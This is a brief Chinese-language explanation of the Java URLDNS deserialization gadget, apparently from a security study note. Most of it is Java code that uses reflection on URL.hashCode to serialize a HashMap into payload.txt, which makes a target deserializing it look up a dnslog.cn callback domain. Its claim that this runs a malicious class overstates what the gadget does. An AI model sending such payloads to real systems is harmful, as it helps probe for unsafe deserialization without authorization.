原理
通过反射调用环境自带的类java.net.URL的hashcode方法,去访问URL地址,触发恶意类的执行。
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://ljpmp3.dnslog.cn");
//通过反射获取URLDNS类的hashcode方法
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCode.setAccessible(true); //绕过java语言权限控制检查的权限
hashCode.set(url,0xdeadbeef); //hashcode第一次默认为-1,会触发dns payload,所以这里设置为任意值,防止触发
hashMap.put(url, "deadbeef"); //这里设置为任意值,同上防止触发
hashCode.set(url,-1); //重新设置为-1,确保反序列化时触发
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.txt"));
oos.writeObject(hashMap); //将序列化的内容写入到payload.txt文件中
}
}